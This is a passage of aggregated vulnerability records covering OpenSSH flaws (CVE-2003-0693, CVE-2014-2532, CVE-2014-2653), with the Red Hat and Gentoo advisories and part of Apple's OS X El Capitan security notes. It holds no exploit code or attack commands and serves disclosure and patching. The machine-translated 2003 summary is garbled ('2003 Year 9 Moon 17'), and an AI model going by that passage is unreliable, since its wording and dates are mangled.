Workstation (v. 7):\n\nSource:\nopenssh-6.6.1p1-23.el7_2.src.rpm\n\nx86_64:\nopenssh-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-clients-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-6.6.1p1-23.el7_2.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm\nopenssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm\nopenssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm\npam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-0777\nhttps://access.redhat.com/security/cve/CVE-2016-0778\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/articles/2123781\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2016 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFWmAWQXlSAg2UNWIIRAh17AJ9SiT1MA1YtOA6ctMp9jIo4e9XrFwCgkbmo\nnXgYWs8cZcyoTRVoriTGHQo=\n=1sk9\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n",
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VAR-200309-0035

Vulnerability from variot - Updated: 2024-07-23 20:26

A "buffer management error" in buffer_append_space of buffer.c for OpenSSH before 3.7 may allow remote attackers to execute arbitrary code by causing an incorrect amount of memory to be freed and corrupting the heap, a different vulnerability than CVE-2003-0695. While the full impact of these vulnerabilities are unclear, they may lead to memory corruption and a denial-of-service situation. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. ------------ OpenSSH Project More distributed OpenSSH 3.7 (Portable Edition OpenSSH 3.7p1) Previously, there were deficiencies in buffer management. If a remote attacker receives a packet of a deliberate length that frees other nearby areas when releasing the buffer, the heap area can be destroyed. As a result, remote attackers who exploit this issue sshd Can be put into a denial of service, and arbitrary code execution has been suggested. The routine in which the problem exists is OpenSSH Others that are using similar routines since being used since the initial release of SSH The implementation of may also be affected. SSH Secure Shell/Ciso IOS Has been reported by the vendor to be unaffected by this issue. Also, F-Secure SSH about, 1.3.14 (for Unix) Previously affected, 2.x Since then, the vendor has reported that it will not be affected. Initially this problem (CAN-2003-0693) Is buffer.c Inside buffer_append_space() Discovered in the function, OpenSSH 3.7p1 It was solved with. However, since a similar problem was discovered in other places after that, this problem was solved. OpenSSH 3.7.1p1 Has been released. (CAN-2003-0695) In addition, memory management issues that are different from the above issues (CAN-2003-0682) Has also been reported, OpenSSH 3.7.1p2 It can be solved by updating to. still, Red Hat Linux About the vendor 2003 Year 9 Moon 17 Advisory published by date (RHSA-2003:279-17) Indicated in RPM Updates to the package, Turboinux About the vendor 2003 Year 9 Moon 24 Advisory published on date (TLSA-2003-53) All of these issues are due to updates to the packages indicated in (CAN-2003-0682/CAN-2003-0693/CAN-2003-0695) Can be eliminated.Please refer to the “Overview” for the impact of this vulnerability. The issue may cause a denial of service. This condition can reportedly be triggered by an overly large packet. There are also unconfirmed rumors of an exploit for this vulnerability circulating in the wild. OpenSSH has revised their advisory, pointing out a similar issue in the 'channels.c' source file and an additional issue in 'buffer.c'. Solar Designer has also reportedly pointed out additional instances of the problem that may also present vulnerabilities

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VAR-201403-0275

Vulnerability from variot - Updated: 2024-07-23 20:15

sshd in OpenSSH before 6.6 does not properly support wildcards on AcceptEnv lines in sshd_config, which allows remote attackers to bypass intended environment restrictions by using a substring located before a wildcard character. OpenSSH is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. Versions prior to OpenSSH 6.6 are vulnerable. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

===================================================================== Red Hat Security Advisory

Synopsis: Moderate: openssh security, bug fix, and enhancement update Advisory ID: RHSA-2014:1552-02 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2014-1552.html Issue date: 2014-10-14 CVE Names: CVE-2014-2532 CVE-2014-2653 =====================================================================

  1. Summary:

Updated openssh packages that fix two security issues, several bugs, and add various enhancements are now available for Red Hat Enterprise Linux 6.

Red Hat Product Security has rated this update as having Moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

  1. Relevant releases/architectures:

Red Hat Enterprise Linux Desktop (v. 6) - i386, x86_64 Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node (v. 6) - x86_64 Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64 Red Hat Enterprise Linux Server (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 6) - i386, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64

  1. Description:

OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation. These packages include the core files necessary for both the OpenSSH client and server.

It was discovered that OpenSSH clients did not correctly verify DNS SSHFP records. A malicious server could use this flaw to force a connecting client to skip the DNS SSHFP record check and require the user to perform manual host verification of the DNS SSHFP record. (CVE-2014-2653)

It was found that OpenSSH did not properly handle certain AcceptEnv parameter values with wildcard characters. (CVE-2014-2532)

This update also fixes the following bugs:

  • Based on the SP800-131A information security standard, the generation of a digital signature using the Digital Signature Algorithm (DSA) with the key size of 1024 bits and RSA with the key size of less than 2048 bits is disallowed after the year 2013. After this update, ssh-keygen no longer generates keys with less than 2048 bits in FIPS mode. However, the sshd service accepts keys of size 1024 bits as well as larger keys for compatibility reasons. (BZ#993580)

  • Previously, the openssh utility incorrectly set the oom_adj value to -17 for all of its children processes. This behavior was incorrect because the children processes were supposed to have this value set to 0. This update applies a patch to fix this bug and oom_adj is now properly set to 0 for all children processes as expected. (BZ#1010429)

  • Previously, if the sshd service failed to verify the checksum of an installed FIPS module using the fipscheck library, the information about this failure was only provided at the standard error output of sshd. As a consequence, the user could not notice this message and be uninformed when a system had not been properly configured for FIPS mode. To fix this bug, this behavior has been changed and sshd now sends such messages via the syslog service. (BZ#1020803)

  • When keys provided by the pkcs11 library were removed from the ssh agent using the "ssh-add -e" command, the user was prompted to enter a PIN. With this update, a patch has been applied to allow the user to remove the keys provided by pkcs11 without the PIN. (BZ#1042519)

In addition, this update adds the following enhancements:

  • With this update, ControlPersist has been added to OpenSSH. The option in conjunction with the ControlMaster configuration directive specifies that the master connection remains open in the background after the initial client connection has been closed. (BZ#953088)

  • When the sshd daemon is configured to force the internal SFTP session, and the user attempts to use a connection other than SFTP, the appropriate message is logged to the /var/log/secure file. (BZ#997377)

  • Support for Elliptic Curve Cryptography modes for key exchange (ECDH) and host user keys (ECDSA) as specified by RFC5656 has been added to the openssh packages. However, they are not enabled by default and the user has to enable them manually. For more information on how to configure ECDSA and ECDH with OpenSSH, see: https://access.redhat.com/solutions/711953 (BZ#1028335)

All openssh users are advised to upgrade to these updated packages, which contain backported patches to correct these issues and add these enhancements.

  1. Solution:

Before applying this update, make sure all previously released errata relevant to your system have been applied.

This update is available via the Red Hat Network. Details on how to use the Red Hat Network to apply this update are available at https://access.redhat.com/articles/11258

  1. Bugs fixed (https://bugzilla.redhat.com/):

953088 - OpenSSH adding ControlPersist patch to enable full usage of SSH control options 1010429 - Openssh Incorrectly sets oom_adj in all Children after Performing a Reload 1023043 - ssh_config manual page lists incorrect default value of KexAlgorithms 1023044 - Fix man page for ssh-keygen because of certificate support 1027197 - X11 Forwarding does not work with default config - error: Failed to allocate internet-domain X11 display socket 1028643 - Connection remains when fork() fails. 1077843 - CVE-2014-2532 openssh: AcceptEnv environment restriction bypass flaw 1081338 - CVE-2014-2653 openssh: failure to check DNS SSHFP records in certain scenarios 1108836 - ssh-keyscan should ignore SIGPIPE 1111568 - AUTOCREATE_SERVER_KEYS=RSAONLY is not supported by init script

  1. Package List:

Red Hat Enterprise Linux Desktop (v. 6):

Source: openssh-5.3p1-104.el6.src.rpm

i386: openssh-5.3p1-104.el6.i686.rpm openssh-askpass-5.3p1-104.el6.i686.rpm openssh-clients-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-server-5.3p1-104.el6.i686.rpm

x86_64: openssh-5.3p1-104.el6.x86_64.rpm openssh-askpass-5.3p1-104.el6.x86_64.rpm openssh-clients-5.3p1-104.el6.x86_64.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-server-5.3p1-104.el6.x86_64.rpm

Red Hat Enterprise Linux Desktop Optional (v. 6):

i386: openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-ldap-5.3p1-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm

x86_64: openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-ldap-5.3p1-104.el6.x86_64.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm

Red Hat Enterprise Linux HPC Node (v. 6):

Source: openssh-5.3p1-104.el6.src.rpm

x86_64: openssh-5.3p1-104.el6.x86_64.rpm openssh-clients-5.3p1-104.el6.x86_64.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-server-5.3p1-104.el6.x86_64.rpm

Red Hat Enterprise Linux HPC Node Optional (v. 6):

x86_64: openssh-askpass-5.3p1-104.el6.x86_64.rpm openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-ldap-5.3p1-104.el6.x86_64.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm

Red Hat Enterprise Linux Server (v. 6):

Source: openssh-5.3p1-104.el6.src.rpm

i386: openssh-5.3p1-104.el6.i686.rpm openssh-askpass-5.3p1-104.el6.i686.rpm openssh-clients-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-server-5.3p1-104.el6.i686.rpm

ppc64: openssh-5.3p1-104.el6.ppc64.rpm openssh-askpass-5.3p1-104.el6.ppc64.rpm openssh-clients-5.3p1-104.el6.ppc64.rpm openssh-debuginfo-5.3p1-104.el6.ppc64.rpm openssh-server-5.3p1-104.el6.ppc64.rpm

s390x: openssh-5.3p1-104.el6.s390x.rpm openssh-askpass-5.3p1-104.el6.s390x.rpm openssh-clients-5.3p1-104.el6.s390x.rpm openssh-debuginfo-5.3p1-104.el6.s390x.rpm openssh-server-5.3p1-104.el6.s390x.rpm

x86_64: openssh-5.3p1-104.el6.x86_64.rpm openssh-askpass-5.3p1-104.el6.x86_64.rpm openssh-clients-5.3p1-104.el6.x86_64.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-server-5.3p1-104.el6.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 6):

i386: openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-ldap-5.3p1-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm

ppc64: openssh-debuginfo-5.3p1-104.el6.ppc.rpm openssh-debuginfo-5.3p1-104.el6.ppc64.rpm openssh-ldap-5.3p1-104.el6.ppc64.rpm pam_ssh_agent_auth-0.9.3-104.el6.ppc.rpm pam_ssh_agent_auth-0.9.3-104.el6.ppc64.rpm

s390x: openssh-debuginfo-5.3p1-104.el6.s390.rpm openssh-debuginfo-5.3p1-104.el6.s390x.rpm openssh-ldap-5.3p1-104.el6.s390x.rpm pam_ssh_agent_auth-0.9.3-104.el6.s390.rpm pam_ssh_agent_auth-0.9.3-104.el6.s390x.rpm

x86_64: openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-ldap-5.3p1-104.el6.x86_64.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 6):

Source: openssh-5.3p1-104.el6.src.rpm

i386: openssh-5.3p1-104.el6.i686.rpm openssh-askpass-5.3p1-104.el6.i686.rpm openssh-clients-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-server-5.3p1-104.el6.i686.rpm

x86_64: openssh-5.3p1-104.el6.x86_64.rpm openssh-askpass-5.3p1-104.el6.x86_64.rpm openssh-clients-5.3p1-104.el6.x86_64.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-server-5.3p1-104.el6.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 6):

i386: openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-ldap-5.3p1-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm

x86_64: openssh-debuginfo-5.3p1-104.el6.i686.rpm openssh-debuginfo-5.3p1-104.el6.x86_64.rpm openssh-ldap-5.3p1-104.el6.x86_64.rpm pam_ssh_agent_auth-0.9.3-104.el6.i686.rpm pam_ssh_agent_auth-0.9.3-104.el6.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/#package

  1. References:

https://www.redhat.com/security/data/cve/CVE-2014-2532.html https://www.redhat.com/security/data/cve/CVE-2014-2653.html https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/solutions/711953

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

Copyright 2014 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1

iD8DBQFUPK1zXlSAg2UNWIIRAgLFAKCbc0zGun3IBr/70ChlueemUsEORgCfa8RL IT6RfneDJRTv3j8EqBZSrp0= =33Fn -----END PGP SIGNATURE-----

-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201405-06

                                        http://security.gentoo.org/

Severity: High Title: OpenSSH: Multiple vulnerabilities Date: May 11, 2014 Bugs: #231292, #247466, #386307, #410869, #419357, #456006, #505066 ID: 201405-06

Synopsis

Multiple vulnerabilities have been found in OpenSSH, the worst of which may allow remote attackers to execute arbitrary code. Please review the CVE identifiers referenced below for details.

Workaround

There is no known workaround at this time.

Resolution

All OpenSSH users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/openssh-6.6_p1-r1"

NOTE: One or more of the issues described in this advisory have been fixed in previous updates. They are included in this advisory for the sake of completeness. It is likely that your system is already no longer affected by them.

References

[ 1 ] CVE-2008-5161 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5161 [ 2 ] CVE-2010-4478 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4478 [ 3 ] CVE-2010-4755 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4755 [ 4 ] CVE-2010-5107 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-5107 [ 5 ] CVE-2011-5000 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-5000 [ 6 ] CVE-2012-0814 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-0814 [ 7 ] CVE-2014-2532 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2532

Availability

This GLSA and any updates to it are available for viewing at the Gentoo Security Website:

http://security.gentoo.org/glsa/glsa-201405-06.xml

Concerns?

Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.

License

Copyright 2014 Gentoo Foundation, Inc; referenced text belongs to its owner(s).

The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

APPLE-SA-2015-09-30-3 OS X El Capitan 10.11

OS X El Capitan 10.11 is now available and addresses the following:

Address Book Available for: Mac OS X v10.6.8 and later Impact: A local attacker may be able to inject arbitrary code to processes loading the Address Book framework Description: An issue existed in Address Book framework's handling of an environment variable. This issue was addressed through improved environment variable handling. CVE-ID CVE-2015-5897 : Dan Bastone of Gotham Digital Science

AirScan Available for: Mac OS X v10.6.8 and later Impact: An attacker with a privileged network position may be able to extract payload from eSCL packets sent over a secure connection Description: An issue existed in the processing of eSCL packets. This issue was addressed through improved validation checks. CVE-ID CVE-2015-5853 : an anonymous researcher

apache_mod_php Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in PHP Description: Multiple vulnerabilities existed in PHP versions prior to 5.5.27, including one which may have led to remote code execution. This issue was addressed by updating PHP to version 5.5.27. CVE-ID CVE-2014-9425 CVE-2014-9427 CVE-2014-9652 CVE-2014-9705 CVE-2014-9709 CVE-2015-0231 CVE-2015-0232 CVE-2015-0235 CVE-2015-0273 CVE-2015-1351 CVE-2015-1352 CVE-2015-2301 CVE-2015-2305 CVE-2015-2331 CVE-2015-2348 CVE-2015-2783 CVE-2015-2787 CVE-2015-3329 CVE-2015-3330

Apple Online Store Kit Available for: Mac OS X v10.6.8 and later Impact: A malicious application may gain access to a user's keychain items Description: An issue existed in validation of access control lists for iCloud keychain items. This issue was addressed through improved access control list checks. CVE-ID CVE-2015-5836 : XiaoFeng Wang of Indiana University, Luyi Xing of Indiana University, Tongxin Li of Peking University, Tongxin Li of Peking University, Xiaolong Bai of Tsinghua University

AppleEvents Available for: Mac OS X v10.6.8 and later Impact: A user connected through screen sharing can send Apple Events to a local user's session Description: An issue existed with Apple Event filtering that allowed some users to send events to other users. This was addressed by improved Apple Event handling. CVE-ID CVE-2015-5849 : Jack Lawrence (@_jackhl)

Audio Available for: Mac OS X v10.6.8 and later Impact: Playing a malicious audio file may lead to an unexpected application termination Description: A memory corruption issue existed in the handling of audio files. This issue issue was addressed through improved memory handling. CVE-ID CVE-2015-5862 : YoungJin Yoon of Information Security Lab. (Adv.: Prof. Taekyoung Kwon), Yonsei University, Seoul, Korea

bash Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in bash Description: Multiple vulnerabilities existed in bash versions prior to 3.2 patch level 57. These issues were addressed by updating bash version 3.2 to patch level 57. CVE-ID CVE-2014-6277 CVE-2014-7186 CVE-2014-7187

Certificate Trust Policy Available for: Mac OS X v10.6.8 and later Impact: Update to the certificate trust policy Description: The certificate trust policy was updated. The complete list of certificates may be viewed at https://support.apple.com/en- us/HT202858.

CFNetwork Cookies Available for: Mac OS X v10.6.8 and later Impact: An attacker in a privileged network position can track a user's activity Description: A cross-domain cookie issue existed in the handling of top level domains. The issue was address through improved restrictions of cookie creation. CVE-ID CVE-2015-5885 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua University

CFNetwork FTPProtocol Available for: Mac OS X v10.6.8 and later Impact: Malicious FTP servers may be able to cause the client to perform reconnaissance on other hosts Description: An issue existed in the handling of FTP packets when using the PASV command. This issue was resolved through improved validation. CVE-ID CVE-2015-5912 : Amit Klein

CFNetwork HTTPProtocol Available for: Mac OS X v10.6.8 and later Impact: A maliciously crafted URL may be able to bypass HSTS and leak sensitive data Description: A URL parsing vulnerability existed in HSTS handling. This issue was addressed through improved URL parsing. CVE-ID CVE-2015-5858 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua University

CFNetwork HTTPProtocol Available for: Mac OS X v10.6.8 and later Impact: A malicious website may be able to track users in Safari private browsing mode Description: An issue existed in the handling of HSTS state in Safari private browsing mode. This issue was addressed through improved state handling. CVE-ID CVE-2015-5860 : Sam Greenhalgh of RadicalResearch Ltd

CFNetwork Proxies Available for: Mac OS X v10.6.8 and later Impact: Connecting to a malicious web proxy may set malicious cookies for a website Description: An issue existed in the handling of proxy connect responses. This issue was addressed by removing the set-cookie header while parsing the connect response. CVE-ID CVE-2015-5841 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua University

CFNetwork SSL Available for: Mac OS X v10.6.8 and later Impact: An attacker with a privileged network position may intercept SSL/TLS connections Description: A certificate validation issue existed in NSURL when a certificate changed. This issue was addressed through improved certificate validation. CVE-ID CVE-2015-5824 : Timothy J. Wood of The Omni Group

CFNetwork SSL Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to decrypt data protected by SSL Description: There are known attacks on the confidentiality of RC4. An attacker could force the use of RC4, even if the server preferred better ciphers, by blocking TLS 1.0 and higher connections until CFNetwork tried SSL 3.0, which only allows RC4. This issue was addressed by removing the fallback to SSL 3.0.

CoreCrypto Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to determine a private key Description: By observing many signing or decryption attempts, an attacker may have been able to determine the RSA private key. This issue was addressed using improved encryption algorithms.

CoreText Available for: Mac OS X v10.6.8 and later Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2015-5874 : John Villamil (@day6reak), Yahoo Pentest Team

Dev Tools Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: A memory corruption issue existed in dyld. This was addressed through improved memory handling. CVE-ID CVE-2015-5876 : beist of grayhash

Dev Tools Available for: Mac OS X v10.6.8 and later Impact: An application may be able to bypass code signing Description: An issue existed with validation of the code signature of executables. This issue was addressed through improved bounds checking. CVE-ID CVE-2015-5839 : @PanguTeam

Disk Images Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with system privileges Description: A memory corruption issue existed in DiskImages. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5847 : Filippo Bigarella, Luca Todesco

dyld Available for: Mac OS X v10.6.8 and later Impact: An application may be able to bypass code signing Description: An issue existed with validation of the code signature of executables. This issue was addressed through improved bounds checking. CVE-ID CVE-2015-5839 : TaiG Jailbreak Team

EFI Available for: Mac OS X v10.6.8 and later Impact: A malicious application can prevent some systems from booting Description: An issue existed with the addresses covered by the protected range register. This issue was fixed by changing the protected range. CVE-ID CVE-2015-5900 : Xeno Kovah & Corey Kallenberg from LegbaCore

EFI Available for: Mac OS X v10.6.8 and later Impact: A malicious Apple Ethernet Thunderbolt adapter may be able to affect firmware flashing Description: Apple Ethernet Thunderbolt adapters could modify the host firmware if connected during an EFI update. This issue was addressed by not loading option ROMs during updates. CVE-ID CVE-2015-5914 : Trammell Hudson of Two Sigma Investments and snare

Finder Available for: Mac OS X v10.6.8 and later Impact: The "Secure Empty Trash" feature may not securely delete files placed in the Trash Description: An issue existed in guaranteeing secure deletion of Trash files on some systems, such as those with flash storage. This issue was addressed by removing the "Secure Empty Trash" option. CVE-ID CVE-2015-5901 : Apple

Game Center Available for: Mac OS X v10.6.8 and later Impact: A malicious Game Center application may be able to access a player's email address Description: An issue existed in Game Center in the handling of a player's email. This issue was addressed through improved access restrictions. CVE-ID CVE-2015-5855 : Nasser Alnasser

Heimdal Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to replay Kerberos credentials to the SMB server Description: An authentication issue existed in Kerberos credentials. This issue was addressed through additional validation of credentials using a list of recently seen credentials. CVE-ID CVE-2015-5913 : Tarun Chopra of Microsoft Corporation, U.S. and Yu Fan of Microsoft Corporation, China

ICU Available for: Mac OS X v10.6.8 and later Impact: Multiple vulnerabilities in ICU Description: Multiple vulnerabilities existed in ICU versions prior to 53.1.0. These issues were addressed by updating ICU to version 55.1. CVE-ID CVE-2014-8146 CVE-2014-8147 CVE-2015-5922

Install Framework Legacy Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to gain root privileges Description: A restriction issue existed in the Install private framework containing a privileged executable. This issue was addressed by removing the executable. CVE-ID CVE-2015-5888 : Apple

Intel Graphics Driver Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with system privileges Description: Multiple memory corruption issues existed in the Intel Graphics Driver. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5830 : Yuki MIZUNO (@mzyy94) CVE-2015-5877 : Camillus Gerard Cai

IOAudioFamily Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed in IOAudioFamily that led to the disclosure of kernel memory content. This issue was addressed by permuting kernel pointers. CVE-ID CVE-2015-5864 : Luca Todesco

IOGraphics Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues existed in the kernel. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5871 : Ilja van Sprundel of IOActive CVE-2015-5872 : Ilja van Sprundel of IOActive CVE-2015-5873 : Ilja van Sprundel of IOActive CVE-2015-5890 : Ilja van Sprundel of IOActive

IOGraphics Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to determine kernel memory layout Description: An issue existed in IOGraphics which could have led to the disclosure of kernel memory layout. This issue was addressed through improved memory management. CVE-ID CVE-2015-5865 : Luca Todesco

IOHIDFamily Available for: Mac OS X v10.6.8 and later Impact: A malicious application may be able to execute arbitrary code with system privileges Description: Multiple memory corruption issues existed in IOHIDFamily. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5866 : Apple CVE-2015-5867 : moony li of Trend Micro

IOStorageFamily Available for: Mac OS X v10.6.8 and later Impact: A local attacker may be able to read kernel memory Description: A memory initialization issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5863 : Ilja van Sprundel of IOActive

Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues existed in the Kernel. These issues were addressed through improved memory handling. CVE-ID CVE-2015-5868 : Cererdlong of Alibaba Mobile Security Team CVE-2015-5896 : Maxime Villard of m00nbsd CVE-2015-5903 : CESG

Kernel Available for: Mac OS X v10.6.8 and later Impact: A local process can modify other processes without entitlement checks Description: An issue existed where root processes using the processor_set_tasks API were allowed to retrieve the task ports of other processes. This issue was addressed through additional entitlement checks. CVE-ID CVE-2015-5882 : Pedro Vilaca, working from original research by Ming-chieh Pan and Sung-ting Tsai; Jonathan Levin

Kernel Available for: Mac OS X v10.6.8 and later Impact: A local attacker may control the value of stack cookies Description: Multiple weaknesses existed in the generation of user space stack cookies. These issues were addressed through improved generation of stack cookies. CVE-ID CVE-2013-3951 : Stefan Esser

Kernel Available for: Mac OS X v10.6.8 and later Impact: An attacker may be able to launch denial of service attacks on targeted TCP connections without knowing the correct sequence number Description: An issue existed in xnu's validation of TCP packet headers. This issue was addressed through improved TCP packet header validation. CVE-ID CVE-2015-5879 : Jonathan Looney

Kernel Available for: Mac OS X v10.6.8 and later Impact: An attacker in a local LAN segment may disable IPv6 routing Description: An insufficient validation issue existed in the handling of IPv6 router advertisements that allowed an attacker to set the hop limit to an arbitrary value. This issue was addressed by enforcing a minimum hop limit. CVE-ID CVE-2015-5869 : Dennis Spindel Ljungmark

Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed that led to the disclosure of kernel memory layout. This was addressed through improved initialization of kernel memory structures. CVE-ID CVE-2015-5842 : beist of grayhash

Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to determine kernel memory layout Description: An issue existed in debugging interfaces that led to the disclosure of memory content. This issue was addressed by sanitizing output from debugging interfaces. CVE-ID CVE-2015-5870 : Apple

Kernel Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to cause a system denial of service Description: A state management issue existed in debugging functionality. This issue was addressed through improved validation. CVE-ID CVE-2015-5902 : Sergi Alvarez (pancake) of NowSecure Research Team

libc Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2014-8611 : Adrian Chadd and Alfred Perlstein of Norse Corporation

libpthread Available for: Mac OS X v10.6.8 and later Impact: A local user may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the kernel. This issue was addressed through improved memory handling. CVE-ID CVE-2015-5899 : Lufeng Li of Qihoo 360 Vulcan Team

libxpc Available for: Mac OS X v10.6.8 and later Impact: Many SSH connections could cause a denial of service Description: launchd had no limit on the number of processes that could be started by a network connection. This issue was addressed by limiting the number of SSH processes to 40. CVE-ID CVE-2015-5881 : Apple

Login Window Available for: Mac OS X v10.6.8 and later Impact: The screen lock may not engage after the specified time period Description: An issue existed with captured display locking. The issue was addressed through improved lock handling. CVE-ID CVE-2015-5833 : Carlos Moreira, Rainer Dorau of rainer dorau informationsdesign, Chris Nehren, Kai Takac, Hans Douma, Toni Vaahtera, and an anonymous researcher

lukemftpd Available for: Mac OS X v10.6.8 and later Impact: A remote attacker may be able to deny service to the FTP server Description: A glob-processing issue existed in tnftpd. This issue was addressed through improved glob validation. CVE-ID CVE-2015-5917 : Maksymilian Arciemowicz of cxsecurity.com

